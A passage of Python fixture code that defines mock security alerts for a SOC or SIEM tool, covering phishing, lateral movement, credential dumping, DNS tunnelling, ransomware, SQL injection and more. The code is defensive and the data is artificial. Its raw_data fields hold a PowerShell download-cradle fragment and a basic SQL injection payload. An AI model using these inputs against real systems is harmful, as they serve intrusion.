remediation="Based on the analysis, it is recommended to block the sender's domain 'evil-domain.com' and IP address at the email gateway and firewall. Purge the phishing email from all recipient mailboxes. Force password reset for the user who reported the email and any other potential recipients.",
comment="Initial report from user.",
unmapped=json.dumps({"x-original-ip": "123.123.123.123"}),
raw_data=json.dumps({"subject": "Urgent Payroll Update", "from": "no-reply@evil-domain.com", "to": "john.doe@example.com"}),
summary_ai="A user reported a suspicious email with urgent language regarding payroll.",
case=None,
enrichments=[],
artifacts=[artifact_evil_email, artifact_fake_url]
)
alert_malware_blocked = AlertModel(
title="Malicious Attachment Blocked by Email Gateway",
severity=Severity.HIGH,
impact=ImpactLevel.MEDIUM,
disposition=Disposition.BLOCKED,
action=AlertAction.DENIED,
confidence=Confidence.HIGH,
uid="ALERT-GW-002",
labels=["malware", "email-gateway", "trojan"],
desc="Email Gateway blocked an attachment 'payroll_update.zip' containing known malware 'Trojan.Generic'.",
first_seen_time=past_10m,
last_seen_time=past_10m,
rule_id="MAL-ATTACH-101",
rule_name="BlockKnownMalwareAttachment.VirusTotal",
correlation_uid="CORR-PHISH-XYZ-123",
count=5,
src_url="https://gateway.example.com/logs/log-id-abcdef",
source_uid="log-id-abcdef",
data_sources=["Email Gateway", "VirusTotal API"],
analytic_name="Gateway Malware Scanner",
analytic_type=AlertAnalyticType.RULE,
analytic_state=AlertAnalyticState.ACTIVE,
analytic_desc="Blocks attachments with hashes matching high-confidence threat feeds.",
tactic="Execution",
technique="T1204.002",
sub_technique="",
mitigation="Email Attachment Sandboxing, Threat Intelligence Feed Integration",
product_category=ProductCategory.EMAIL,
product_vendor="SecureMail Inc.",
product_name="SecureMail Gateway",
product_feature="AV-Scan-Module",
policy_name="Inbound-Malware-Policy",
policy_type=None,
policy_desc="Blocks all inbound attachments with a VT score > 50.",
risk_level=AlertRiskLevel.HIGH,
risk_details="Malware could lead to endpoint compromise.",
status=AlertStatus.RESOLVED,
status_detail="File was quarantined by the email gateway's automated policy.",
remediation="The malware was blocked and quarantined, no immediate action required for this specific alert. It is recommended to add the file hash to the endpoint detection and response (EDR) system's blocklist to prevent execution from other vectors. Also, conduct a threat hunt to ensure no other systems were compromised.",
comment="Blocked 5 attempts to deliver this file to different users.",
unmapped="",
raw_data=json.dumps({"attachment_hash": "a1b2c3d4e5f6...", "recipient_count": 5}),
summary_ai="The email gateway blocked a malicious attachment identified by its hash.",
case=None,
enrichments=[enrichment_virustotal],
artifacts=[artifact_malware_file, artifact_malware_hash]
)
alert_psexec_lateral = AlertModel(
title="Suspicious Service Installation (PSEXESVC) on WS-FINANCE-05",
severity=Severity.HIGH,
impact=ImpactLevel.HIGH,
disposition=Disposition.DETECTED,
action=AlertAction.OBSERVED,
confidence=Confidence.HIGH,
uid="ALERT-EDR-101",
labels=["psexec", "lateral-movement"],
desc="PsExec service (PSEXESVC.exe) was created and started on WS-FINANCE-05, originating from DC01.",
first_seen_time=past_5m,
last_seen_time=past_5m,
rule_id="EDR-RULE-LM-001",
rule_name="PsExec Service Execution",
correlation_uid="CORR-LAT-MOV-456",
count=1,
src_url="https://edr.example.com/alerts/ALERT-EDR-101",
source_uid="be7a2f3a-8b1d-4a8a-9b1a-5d1e3e0f1e1a",
data_sources=["EDR", "Windows Security Events"],
analytic_name="Sysmon Behavioral Detection",
analytic_type=AlertAnalyticType.BEHAVIORAL,
analytic_state=AlertAnalyticState.ACTIVE,
analytic_desc="Detects the creation of the PsExec service executable.",
tactic="Lateral Movement",
technique="T1569.002",
sub_technique="",
mitigation="Restrict Service Creation, Network Segmentation",
product_category=ProductCategory.EDR,
product_vendor="CrowdStrike",
product_name="Falcon",
product_feature="Behavioral-Detection-Engine",
policy_name="Default Workstation Policy",
policy_type=AlertPolicyType.IDENTITY_POLICY,
policy_desc="Monitors for suspicious service installations.",
risk_level=AlertRiskLevel.HIGH,
risk_details="Indicates an attacker is moving through the network.",
status=AlertStatus.ARCHIVED,
status_detail="Alert has been correlated into Case-2 for incident response.",
remediation="The SOAR playbook has successfully isolated the source host DC01 and destination host WS-FINANCE-05. Immediate investigation into the initial compromise vector on DC01 is required. It is recommended to dump memory and disk images from both systems for forensic analysis.",
comment="Clear indicator of lateral movement.",
unmapped="",
raw_data=json.dumps({"event_id": 4697, "service_name": "PSEXESVC", "source_host": "DC01"}),
summary_ai="PsExec was used to move from DC01 to a finance workstation.",
case=None,
enrichments=[],
artifacts=[artifact_psexesvc, artifact_dc01]
)
alert_credential_dumping = AlertModel(
title="Credential Dumping via LSASS Memory Access on DC01",
severity=Severity.CRITICAL,
impact=ImpactLevel.CRITICAL,
disposition=Disposition.ALERT,
action=AlertAction.OBSERVED,
confidence=Confidence.HIGH,
uid="ALERT-EDR-100",
labels=["credential-dumping", "mimikatz", "lsass"],
desc="An untrusted process 'mimikatz.exe' accessed the memory of lsass.exe, indicating credential dumping.",
first_seen_time=past_10m,
last_seen_time=past_10m,
rule_id="EDR-RULE-CD-005",
rule_name="LSASS Memory Access by Untrusted Process",
correlation_uid="CORR-LAT-MOV-456",
count=1,
src_url="https://edr.example.com/alerts/ALERT-EDR-100",
source_uid="aa1b2c3d-4e5f-6a7b-8c9d-0e1f2a3b4c5d",
data_sources=["EDR"],
analytic_name="Credential Access Detection",
analytic_type=AlertAnalyticType.BEHAVIORAL,
analytic_state=AlertAnalyticState.ACTIVE,
analytic_desc="Monitors for processes reading memory from LSASS.",
tactic="Credential Access",
technique="T1003.001",
sub_technique="",
mitigation="Credential Guard, LSA Protection",
product_category=ProductCategory.EDR,
product_vendor="CrowdStrike",
product_name="Falcon",
product_feature="Credential-Theft-Protection",
policy_name="Domain Controller Policy",
policy_type=None,
policy_desc="",
risk_level=AlertRiskLevel.CRITICAL,
risk_details="Domain credentials may be compromised.",
status=AlertStatus.ARCHIVED,
status_detail="Alert has been correlated into Case-2, serving as a precursor to the lateral movement alert.",
remediation="Enable LSA Protection (RunAsPPL) on domain controllers. Deploy Credential Guard to protect LSASS from memory access. Monitor for and alert on processes accessing LSASS memory, especially from untrusted processes.",
comment="This was likely the initial point of credential theft enabling lateral movement.",
unmapped="",
raw_data=json.dumps({"source_process": "mimikatz.exe", "target_process": "lsass.exe"}),
summary_ai="Credential dumping tool Mimikatz was detected on the domain controller.",
case=None,
enrichments=[],
artifacts=[artifact_lsass, artifact_mimikatz]
)
alert_dns_tunnel_volume = AlertModel(
title="Anomalous DNS Query Volume (TXT Records)",
severity=Severity.MEDIUM,
impact=ImpactLevel.LOW,
action=AlertAction.OBSERVED,
disposition=Disposition.LOGGED,
confidence=Confidence.MEDIUM,
uid="ALERT-NDR-301",
labels=["dns-tunneling", "ndr"],
desc="Endpoint 10.1.1.5 (WS-MARKETING-12) made an unusually high number of DNS TXT queries to a single domain, c2.bad-actor-infra.net.",
first_seen_time=past_10m,
last_seen_time=now,
rule_id="NDR-DNS-007",
rule_name="High Volume of DNS TXT Queries to Single Domain",
correlation_uid="CORR-DNS-TUN-789",
count=245,
src_url="https://ndr.example.com/alerts/ALERT-NDR-301",
source_uid="ndr-flow-98765",
data_sources=["NDR", "DNS Logs"],
analytic_name="DNS Exfiltration Detector",
analytic_type=AlertAnalyticType.BEHAVIORAL,
analytic_state=AlertAnalyticState.ACTIVE,
analytic_desc="Flags high-frequency TXT/NULL queries.",
tactic="Command and Control",
technique="T1071.004",
sub_technique="",
mitigation="DNS Sinkholing, Egress Traffic Filtering",
product_category=ProductCategory.NDR,
product_vendor="Vectra",
product_name="Cognito",
product_feature="DNS-Analytics",
policy_name="",
policy_type=None,
policy_desc="",
risk_level=AlertRiskLevel.MEDIUM,
risk_details="Potential for covert C2 channel or data exfiltration.",
status=AlertStatus.NEW,
status_detail="The alert is currently under investigation. The affected host has been placed in a high-monitoring group to observe traffic without tipping off the potential attacker.",
remediation="Configure DNS sinkholing for the suspicious domain 'c2.bad-actor-infra.net' to analyze C2 commands safely. Review and tighten egress DNS filtering rules. Perform packet capture on the affected host for deeper analysis of the DNS query contents.",
comment="",
unmapped="",
raw_data=json.dumps({"query_count": 245, "domain": "c2.bad-actor-infra.net"}),
summary_ai="High volume of DNS TXT queries suggests a DNS tunnel.",
case=None,
enrichments=[enrichment_otx_evil_domain],
artifacts=[artifact_internal_ip, artifact_c2_domain]
)
alert_dns_long_query = AlertModel(
title="Firewall Detected Unusually Long DNS Query",
severity=Severity.LOW,
impact=ImpactLevel.LOW,
action=AlertAction.DENIED,
disposition=Disposition.ALLOWED,
confidence=Confidence.LOW,
uid="ALERT-FW-905",
labels=["dns", "firewall"],
desc="A DNS query with an unusually long label (>63 chars) was observed, which can be an indicator of tunneling.",
first_seen_time=past_5m,
last_seen_time=past_5m,
rule_id="FW-DNS-002",
rule_name="Long DNS Label Detected",
correlation_uid="CORR-DNS-TUN-789",
count=1,
src_url="https://fw.example.com/logs/log-id-54321",
source_uid="log-id-54321",
data_sources=["Firewall"],
analytic_name="Firewall DNS Protocol Anomaly",
analytic_type=AlertAnalyticType.RULE,
analytic_state=AlertAnalyticState.EXPERIMENTAL,
analytic_desc="Flags DNS queries that violate standard label length.",
tactic="Command and Control",
technique="T1071.004",
sub_technique="",
mitigation="Egress DNS Filtering",
product_category=ProductCategory.CLOUD,
product_vendor="Palo Alto",
product_name="PA-Series Firewall",
product_feature="DNS-Security",
policy_name="Default-DNS-Allow",
policy_type=AlertPolicyType.SERVICE_CONTROL_POLICY,
policy_desc="Default policy allowing outbound DNS traffic.",
risk_level=AlertRiskLevel.LOW,
risk_details="Suspicious but could be a false positive from non-standard software.",
status=AlertStatus.NEW,
status_detail="This alert corroborates the NDR alert for DNS tunneling. Awaiting further analysis from the primary alert.",
remediation="Implement firewall policies to block or alert on DNS queries with label lengths exceeding RFC standards (63 characters). Ensure DNS traffic is logged comprehensively for threat hunting and historical analysis.",
comment="Correlates with the NDR alert, increasing confidence.",
unmapped=json.dumps({"dns_flags": "RD"}),
raw_data=json.dumps({"qname": "verylonglabelthatmightbeencodeddata.c2.bad-actor-infra.net"}),
summary_ai="An unusually long DNS query was detected by the firewall.",
case=None,
enrichments=[enrichment_otx_evil_domain, enrichment_virustotal],
artifacts=[artifact_dns_port, artifact_google_dns]
)
alert_brute_force_ssh = AlertModel(
title="SSH Brute Force Attack Detected",
severity=Severity.HIGH,
impact=ImpactLevel.MEDIUM,
action=AlertAction.DENIED,
disposition=Disposition.BLOCKED,
confidence=Confidence.HIGH,
uid="ALERT-IDS-501",
labels=["brute-force", "ssh", "ids"],
desc="Multiple failed SSH login attempts detected on SQL-SERVER-PROD-01 from IP 177.19.44.123.",
first_seen_time=past_1d_18h,
last_seen_time=past_1d_18h,
rule_id="IDS-SSH-001",
rule_name="SSH Brute Force Detection",
correlation_uid="CORR-BRUTE-001",
count=245,
src_url="https://ids.example.com/alerts/ALERT-IDS-501",
source_uid="ids-ssh-245",
data_sources=["IDS", "SSH Logs"],
analytic_name="SSH Authentication Anomaly",
analytic_type=AlertAnalyticType.BEHAVIORAL,
analytic_state=AlertAnalyticState.ACTIVE,
analytic_desc="Detects multiple failed SSH logins within a short time window.",
tactic="Credential Access",
technique="T1110.001",
sub_technique="",
mitigation="Rate Limiting, MFA, IP Whitelisting",
product_category=ProductCategory.PROXY,
product_vendor="Suricata",
product_name="Suricata IDS",
product_feature="SSH-Monitoring",
policy_name="",
policy_type=None,
policy_desc="",
risk_level=AlertRiskLevel.HIGH,
risk_details="Potential account compromise.",
status=AlertStatus.NEW,
status_detail="Automated blocking applied. Pending analyst review.",
remediation="Block the source IP 177.19.44.123 at the firewall. Review SSH logs for successful authentications from this IP. If any successful logins are found, reset passwords immediately.",
comment="Blocked after 245 attempts.",
unmapped="",
raw_data=json.dumps({"attempts": 245, "time_window": "15min", "source_ip": "177.19.44.123"}),
summary_ai="SSH brute force attack from external IP was detected and blocked.",
case=None,
enrichments=[enrichment_greynoise_scanner],
artifacts=[artifact_sql_server, artifact_ransomware_ip_2]
)
alert_malware_execution = AlertModel(
title="Malware Execution Detected via PowerShell",
severity=Severity.CRITICAL,
impact=ImpactLevel.HIGH,
action=AlertAction.DENIED,
disposition=Disposition.BLOCKED,
confidence=Confidence.HIGH,
uid="ALERT-EDR-204",
labels=["malware", "powershell", "edr", "ransomware"],
desc="PowerShell script execution detected that matches ransomware behavior patterns.",
first_seen_time=past_2d_6h,
last_seen_time=past_2d_6h,
rule_id="EDR-RULE-MAL-015",
rule_name="Ransomware Behavioral Pattern Detection",
correlation_uid="CORR-RANSOMWARE-001",
count=1,
src_url="https://edr.example.com/alerts/ALERT-EDR-204",
source_uid="edr-malware-204",
data_sources=["EDR", "Process Monitoring"],
analytic_name="Ransomware Pattern Detector",
analytic_type=AlertAnalyticType.BEHAVIORAL,
analytic_state=AlertAnalyticState.ACTIVE,
analytic_desc="Detects file encryption and network scanning behaviors typical of ransomware.",
tactic="Impact",
technique="T1486",
sub_technique="",
mitigation="EDR Endpoint Protection, Backup Solutions",
product_category=ProductCategory.EDR,
product_vendor="CrowdStrike",
product_name="Falcon",
product_feature="Behavioral-Ransomware-Detection",
policy_name="Ransomware Prevention Policy",
policy_type=AlertPolicyType.SERVICE_CONTROL_POLICY,
policy_desc="Blocks ransomware execution patterns.",
risk_level=AlertRiskLevel.CRITICAL,
risk_details="Ransomware can encrypt critical business files and demand ransom.",
status=AlertStatus.IN_PROGRESS,
status_detail="Endpoint isolated. Investigation in progress.",
remediation="Isolate the affected endpoint immediately. Restore from clean backups. Scan all connected systems for the malware hash. Contact incident response team.",
comment="Host WS-FINANCE-02 isolated from network.",
unmapped="",
raw_data=json.dumps({"script_hash": "5f4dcc3b5aa7", "behaviors": ["file_encryption", "network_scan"]}),
summary_ai="Ransomware malware was detected attempting to encrypt files.",
case=None,
enrichments=[enrichment_carbonblack_execution],
artifacts=[artifact_powershell_script, artifact_malware_registry]
)
alert_unauthorized_access = AlertModel(
title="Unauthorized Access Attempt to Restricted Share",
severity=Severity.MEDIUM,
impact=ImpactLevel.MEDIUM,
action=AlertAction.DENIED,
disposition=Disposition.BLOCKED,
confidence=Confidence.HIGH,
uid="ALERT-SIEM-301",
labels=["unauthorized-access", "file-share", "anomaly"],
desc="User sarah.johnson attempted to access restricted executive share 'Z:\\CONFIDENTIAL' outside of business hours.",
first_seen_time=past_3d_12h,
last_seen_time=past_3d_12h,
rule_id="SIEM-ACCESS-008",
rule_name="Off-Hours Restricted Share Access",
correlation_uid="CORR-UNAUTH-002",
count=3,
src_url="https://siem.example.com/alerts/ALERT-SIEM-301",
source_uid="siem-access-301",
data_sources=["File Share Logs", "SIEM"],
analytic_name="Access Control Anomaly",
analytic_type=AlertAnalyticType.RULE,
analytic_state=AlertAnalyticState.ACTIVE,
analytic_desc="Alerts on restricted share access outside business hours.",
tactic="Lateral Movement",
technique="T1021.002",
sub_technique="",
mitigation="Access Control Lists, Share Permissions",
product_category=ProductCategory.CLOUD,
product_vendor="Splunk",
product_name="Splunk Enterprise",
product_feature="Access-Monitoring",
policy_name="Data Protection Policy",
policy_type=AlertPolicyType.SERVICE_CONTROL_POLICY,
policy_desc="Restrict access to confidential shares.",
risk_level=AlertRiskLevel.MEDIUM,
risk_details="Potential data theft or policy violation.",
status=AlertStatus.NEW,
status_detail="Awaiting user/manager clarification.",
remediation="Contact the user to understand the business justification for off-hours access. If unauthorized, revoke access and review share permissions.",
comment="Access was denied by file share permissions.",
unmapped="",
raw_data=json.dumps({"user": "sarah.johnson", "share": "Z:\\CONFIDENTIAL", "time": "02:30 AM"}),
summary_ai="User attempted unauthorized access to restricted files outside business hours.",
case=None,
enrichments=[enrichment_splunk_anomaly],
artifacts=[artifact_user_account]
)
alert_data_exfiltration = AlertModel(
title="Suspicious Data Exfiltration Activity Detected",
severity=Severity.CRITICAL,
impact=ImpactLevel.HIGH,
action=AlertAction.OBSERVED,
disposition=Disposition.ALERT,
confidence=Confidence.HIGH,
uid="ALERT-DLP-401",
labels=["data-exfiltration", "dlp", "suspicious", "c2"],
desc="Large volume of data transfer detected from internal server to suspicious external domain check-version.exfil.xyz.",
first_seen_time=past_4d_20h,
last_seen_time=past_4d_20h,
rule_id="DLP-EXF-005",
rule_name="High-Volume Data Transfer to External Domain",
correlation_uid="CORR-EXFIL-003",
count=1,
src_url="https://dlp.example.com/alerts/ALERT-DLP-401",
source_uid="dlp-exfil-401",
data_sources=["DLP", "Network Monitoring"],
analytic_name="Data Exfiltration Detector",
analytic_type=AlertAnalyticType.BEHAVIORAL,
analytic_state=AlertAnalyticState.ACTIVE,
analytic_desc="Detects large data transfers to suspicious external destinations.",
tactic="Exfiltration",
technique="T1048.003",
sub_technique="",
mitigation="Egress Filtering, DLP Policies",
product_category=ProductCategory.DLP,
product_vendor="Digital Guardian",
product_name="Digital Guardian",
product_feature="Network-Monitoring",
policy_name="Data Classification Policy",
policy_type=AlertPolicyType.SERVICE_CONTROL_POLICY,
policy_desc="Alerts on large transfers of classified data.",
risk_level=AlertRiskLevel.CRITICAL,
risk_details="Sensitive company data may be stolen.",
status=AlertStatus.NEW,
status_detail="Incident response activated.",
remediation="Block the destination domain at the firewall. Perform forensic analysis on the source server. Review for other suspicious connections to similar domains.",
comment="Data volume: 2.3 GB transferred in 45 minutes.",
unmapped="",
raw_data=json.dumps({"destination": "check-version.exfil.xyz", "volume_gb": 2.3, "files_transferred": 847}),
summary_ai="Large volume of data was being transferred to an external suspicious domain.",
case=None,
enrichments=[enrichment_darktrace_ai],
artifacts=[artifact_suspicious_domain_3]
)
alert_malicious_email_attachment = AlertModel(
title="Email with Malicious Macro Detected and Quarantined",
severity=Severity.HIGH,
impact=ImpactLevel.MEDIUM,
action=AlertAction.DENIED,
disposition=Disposition.QUARANTINED,
confidence=Confidence.HIGH,
uid="ALERT-EMAIL-501",
labels=["malware", "macro", "email", "phishing"],
desc="Email containing Word document with malicious VBA macro attempting to execute PowerShell commands.",
first_seen_time=past_5d_8h,
last_seen_time=past_5d_8h,
rule_id="EMAIL-MACRO-003",
rule_name="Malicious Office Macro Detection",
correlation_uid="CORR-MACRO-004",
count=1,
src_url="https://email.example.com/quarantine/MSG-5501",
source_uid="MSG-5501",
data_sources=["Email Gateway", "Sandbox"],
analytic_name="Email Sandbox Detonation",
analytic_type=AlertAnalyticType.BEHAVIORAL,
analytic_state=AlertAnalyticState.ACTIVE,
analytic_desc="Detonates office documents in sandbox to detect malicious macros.",
tactic="Execution",
technique="T1204.002",
sub_technique="",
mitigation="Email Filtering, Macro Blocking",
product_category=ProductCategory.EMAIL,
product_vendor="Proofpoint",
product_name="Proofpoint Email Protection",
product_feature="Sandbox-Detonation",
policy_name="Malware-Prevention",
policy_type=AlertPolicyType.SERVICE_CONTROL_POLICY,
policy_desc="Block emails with malicious macros.",
risk_level=AlertRiskLevel.HIGH,
risk_details="Macro-based malware can compromise endpoints.",
status=AlertStatus.RESOLVED,
status_detail="Email was quarantined automatically by policy.",
remediation="Block the sender domain. Review users who received similar emails. Deploy macro blocking policies across the organization.",
comment="Sender: unknown@badguy.net. Recipients: 12 users.",
unmapped="",
raw_data=json.dumps({"macro_language": "VBA", "powershell_command": "IEX (New-Object Net.WebClient)", "recipients": 12}),
summary_ai="Email with malicious macro was detected and quarantined before users could open it.",
case=None,
enrichments=[enrichment_proofpoint_sandbox],
artifacts=[artifact_powershell_script]
)
alert_privilege_escalation = AlertModel(
title="Suspicious Privilege Escalation Attempt Detected",
severity=Severity.CRITICAL,
impact=ImpactLevel.HIGH,
action=AlertAction.OBSERVED,
disposition=Disposition.ALERT,
confidence=Confidence.HIGH,
uid="ALERT-EDR-601",
labels=["privilege-escalation", "edr", "suspicious", "exploit"],
desc="Process 'explorer.exe' (user context) attempted to execute 'cmd.exe' with system privileges using a known UAC bypass technique.",
first_seen_time=past_6d_15h,
last_seen_time=past_6d_15h,
rule_id="EDR-RULE-PE-012",
rule_name="UAC Bypass Privilege Escalation Detection",
correlation_uid="CORR-PE-005",
count=1,
src_url="https://edr.example.com/alerts/ALERT-EDR-601",
source_uid="edr-pe-601",
data_sources=["EDR", "Process Monitoring"],
analytic_name="Privilege Escalation Detector",
analytic_type=AlertAnalyticType.BEHAVIORAL,
analytic_state=AlertAnalyticState.ACTIVE,
analytic_desc="Detects known UAC bypass techniques and privilege escalation patterns.",
tactic="Privilege Escalation",
technique="T1548.002",
sub_technique="",
mitigation="UAC Hardening, Code Integrity Checks",
product_category=ProductCategory.EDR,
product_vendor="Microsoft",
product_name="Microsoft Defender for Endpoint",
product_feature="Behavioral-Protection",
policy_name="Windows Security Policy",
policy_type=AlertPolicyType.IDENTITY_POLICY,
policy_desc="Monitor and block privilege escalation attempts.",
risk_level=AlertRiskLevel.CRITICAL,
risk_details="Successful privilege escalation allows attacker to gain system-level access.",
status=AlertStatus.IN_PROGRESS,
status_detail="Awaiting endpoint remediation.",
remediation="Isolate endpoint. Review process execution logs. Check for indicators of post-exploitation activity. Apply latest Windows patches.",
comment="UAC bypass technique CVE-2019-1315 detected.",
unmapped="",
raw_data=json.dumps({"bypass_method": "CMSTP", "target_privilege": "SYSTEM", "cve": "CVE-2019-1315"}),
summary_ai="Attacker attempted to escalate privileges using a known Windows UAC bypass.",
case=None,
enrichments=[enrichment_sentinel_threat],
artifacts=[artifact_powershell_script]
)
alert_cloud_config_change = AlertModel(
title="Unauthorized AWS S3 Bucket Policy Modified",
severity=Severity.CRITICAL,
impact=ImpactLevel.HIGH,
action=AlertAction.OBSERVED,
disposition=Disposition.ALERT,
confidence=Confidence.HIGH,
uid="ALERT-CSPM-701",
labels=["cloud-security", "aws", "policy-change", "data-exposure"],
desc="S3 bucket 'prod-customer-data' bucket policy was modified to allow public read access. Detected via CloudTrail.",
first_seen_time=past_7d,
last_seen_time=past_7d,
rule_id="CSPM-AWS-S3-001",
rule_name="S3 Public Access Policy Change Detection",
correlation_uid="CORR-CLOUD-006",
count=1,
src_url="https://cspm.example.com/alerts/ALERT-CSPM-701",
source_uid="cloudtrail-s3-701",
data_sources=["AWS CloudTrail", "CSPM"],
analytic_name="Cloud Configuration Monitoring",
analytic_type=AlertAnalyticType.RULE,
analytic_state=AlertAnalyticState.ACTIVE,
analytic_desc="Alerts on S3 bucket policy changes that expose data to public.",
tactic="Exfiltration",
technique="T1537",
sub_technique="",
mitigation="SCPs, Resource-based Policies",
product_category=ProductCategory.CLOUD,
product_vendor="AWS",
product_name="AWS CloudTrail",
product_feature="Configuration-Monitoring",
policy_name="Cloud Security Policy",
policy_type=AlertPolicyType.SERVICE_CONTROL_POLICY,
policy_desc="Prevent public S3 bucket policies.",
risk_level=AlertRiskLevel.CRITICAL,
risk_details="Customer data could be exposed to the internet.",
status=AlertStatus.NEW,
status_detail="Awaiting security team response.",
remediation="Revert the S3 bucket policy to private. Identify who made the change. Review CloudTrail logs for other policy changes. Enable MFA delete on the bucket.",
comment="Potentially malicious or misconfigured. Principal: arn:aws:iam::123456789012:role/lambda-execution",
unmapped="",
raw_data=json.dumps(
{"bucket": "prod-customer-data", "action": "PutBucketPolicy", "principal": "lambda-execution", "effect": "Allow", "principal_service": "*"}),
summary_ai="AWS S3 bucket configuration was changed to expose customer data publicly.",
case=None,
enrichments=[enrichment_aws_s3_public],
artifacts=[artifact_aws_role, artifact_cloudtrail_event]
)
alert_brute_force_siem = AlertModel(
title="Brute Force Attack: Multiple Failed Login Attempts Followed by Success",
severity=Severity.CRITICAL,
impact=ImpactLevel.HIGH,
action=AlertAction.OBSERVED,
disposition=Disposition.ALERT,
confidence=Confidence.HIGH,
uid="ALERT-BRUTE-FORCE-001",
labels=["brute-force", "authentication", "ssh", "credential-attack"],
desc="External IP 45.95.11.22 (China) made 5-10 failed authentication attempts to user 'admin' on srv-web-prod-01, followed by a successful login. Pattern suggests brute force attack.",
first_seen_time=past_1h,
last_seen_time=past_1h,
rule_id="AUTH-RULE-BF-001",
rule_name="Brute Force Attack Detection",
correlation_uid="CORR-BRUTE-FORCE-001",
count=6,
src_url="https://siem.example.com/alerts/ALERT-BRUTE-FORCE-001",
source_uid="siem-bf-001",
data_sources=["SSH Logs", "Syslog", "SIEM"],
analytic_name="Brute Force Detection Engine",
analytic_type=AlertAnalyticType.BEHAVIORAL,
analytic_state=AlertAnalyticState.ACTIVE,
analytic_desc="Detects multiple failed login attempts from same source IP followed by success.",
tactic="Credential Access",
technique="T1110.001",
sub_technique="",
mitigation="Account Lockout Policy, Rate Limiting, MFA",
product_category=ProductCategory.SIEM,
product_vendor="Elasticsearch",
product_name="ELK Stack",
product_feature="Authentication-Monitoring",
policy_name="Access Control Policy",
policy_type=AlertPolicyType.ACCESS_CONTROL_POLICY,
policy_desc="Detect and prevent brute force attacks.",
risk_level=AlertRiskLevel.CRITICAL,
risk_details="Successful compromise of admin account could lead to full system control. Account from high-risk geographic location (China).",
status=AlertStatus.NEW,
status_detail="Immediate investigation required. Account may be compromised.",
remediation="1. Immediately force password change for admin account. 2. Review all commands executed by admin since last_seen_time. 3. Block source IP 45.95.11.22 at firewall. 4. Enable MFA for admin account. 5. Review login history for other successful attempts from this IP.",
comment="Risk Score: 85/100. Successful login after multiple failures is strong indicator of compromise.",
unmapped="",
raw_data=json.dumps(
{"failed_attempts": 7, "source_ip": "45.95.11.22", "source_country": "CN", "target_user": "admin", "target_host": "srv-web-prod-01", "protocol": "ssh",
"port": 22}),
summary_ai="Brute force attack successfully compromised admin account on production web server. Attacker origin: China. Immediate containment action required.",
case=None,
enrichments=[enrichment_greynoise_scanner, enrichment_geoip_russia],
artifacts=[artifact_brute_force_ip, artifact_target_user_brute, artifact_target_host_brute]
)
alert_sql_injection_siem = AlertModel(
title="SQL Injection Attack Attempt Detected and Blocked by WAF",
severity=Severity.HIGH,
impact=ImpactLevel.MEDIUM,
action=AlertAction.DENIED,
disposition=Disposition.BLOCKED,
confidence=Confidence.HIGH,
uid="ALERT-SQL-INJ-001",
labels=["sql-injection", "web-attack", "waf", "owasp-injection"],
desc="Web Application Firewall detected and blocked SQL injection attack from external IP (Russia). Attacker used sqlmap scanner with multiple SQL injection payloads.",
first_seen_time=past_30m,
last_seen_time=past_30m,
rule_id="WAF-RULE-SQLI-001",
rule_name="SQL Injection Detection Rule",
correlation_uid="CORR-SQL-INJ-001",
count=1,
src_url="https://waf.example.com/alerts/ALERT-SQL-INJ-001",
source_uid="waf-sqli-001",
data_sources=["WAF", "HTTP Traffic Analysis"],
analytic_name="SQL Injection Detector",
analytic_type=AlertAnalyticType.RULE,
analytic_state=AlertAnalyticState.ACTIVE,
analytic_desc="Detects SQL injection patterns in HTTP requests.",
tactic="Exploitation",
technique="T1190",
sub_technique="",
mitigation="WAF Rules, Input Validation, Parameterized Queries",
product_category=ProductCategory.WAF,
product_vendor="Palo Alto Networks",
product_name="Advanced URL Filtering",
product_feature="SQL-Injection-Detection",
policy_name="Web Security Policy",
policy_type=AlertPolicyType.SERVICE_CONTROL_POLICY,
policy_desc="Block SQL injection attacks at the WAF.",
risk_level=AlertRiskLevel.HIGH,
risk_details="SQL injection could allow attacker to read/modify database contents, affecting all application data.",
status=AlertStatus.NEW,
status_detail="Attack was successfully blocked. No damage detected. Source IP monitoring enabled.",
remediation="1. Add source IP to block list. 2. Review WAF logs for other attack attempts. 3. Audit application code for SQL injection vulnerabilities. 4. Implement parameterized queries in application. 5. Consider implementing request rate limiting.",
comment="Attack method: sqlmap automated SQL injection scanner. Multiple injection vectors attempted including boolean blind, time-based, and UNION-based.",
unmapped="",
raw_data=json.dumps({"payload": "id=1' OR '1'='1", "waf_rule_id": "WAF-12345", "blocked_count": 1, "http_status": 403, "user_agent": "sqlmap/1.5.2"}),
summary_ai="SQL injection attack from Russia was detected and blocked by WAF. Attacker used automated sqlmap tool. No database compromise detected.",
case=None,
enrichments=[enrichment_urlhaus_malware],
artifacts=[artifact_malicious_url_sqli, artifact_sqlmap_tool, artifact_waf_server]
)
alert_ransomware_siem = AlertModel(
title="Ransomware Execution Detected: Shadow Copy Deletion, File Encryption, Ransom Note",
severity=Severity.CRITICAL,
impact=ImpactLevel.CRITICAL,
action=AlertAction.OBSERVED,
disposition=Disposition.ALERT,
confidence=Confidence.HIGH,
uid="ALERT-RANSOMWARE-001",
labels=["ransomware", "file-encryption", "shadow-copy-deletion", "critical"],
desc="Multiple critical indicators of ransomware detected on srv-db-master: 1) vssadmin.exe deleted volume shadow copies 2) 20 files renamed to .encrypted extension 3) README_TO_DECRYPT.txt ransom note created. Immediate isolation required.",
first_seen_time=past_2h,
last_seen_time=past_2h,
rule_id="EDR-RULE-RANSOMWARE-001",
rule_name="Ransomware Multi-Indicator Detection",
correlation_uid="CORR-RANSOMWARE-ACTIVE-001",
count=22,
src_url="https://edr.example.com/alerts/ALERT-RANSOMWARE-001",
source_uid="edr-ransomware-001",
data_sources=["EDR", "Process Monitoring", "File System Monitoring"],
analytic_name="Ransomware Behavioral Detector",
analytic_type=AlertAnalyticType.BEHAVIORAL,
analytic_state=AlertAnalyticState.ACTIVE,
analytic_desc="Detects three-stage ransomware attack: shadow copy deletion + file encryption + ransom note.",
tactic="Impact",
technique="T1486",
sub_technique="",
mitigation="EDR, Immutable Backups, Air-Gapped Recovery",
product_category=ProductCategory.EDR,
product_vendor="CrowdStrike",
product_name="Falcon",
product_feature="Ransomware-Prevention",
policy_name="Ransomware Prevention Policy",
policy_type=AlertPolicyType.SERVICE_CONTROL_POLICY,
policy_desc="Immediate blocking of all ransomware indicators.",
risk_level=AlertRiskLevel.CRITICAL,
risk_details="Database server encryption would impact all database users. Potential data loss and extended downtime. Estimated impact: $100K+ per hour of downtime.",
status=AlertStatus.NEW,
status_detail="CRITICAL: Immediate action required. Automatic host isolation has been triggered.",
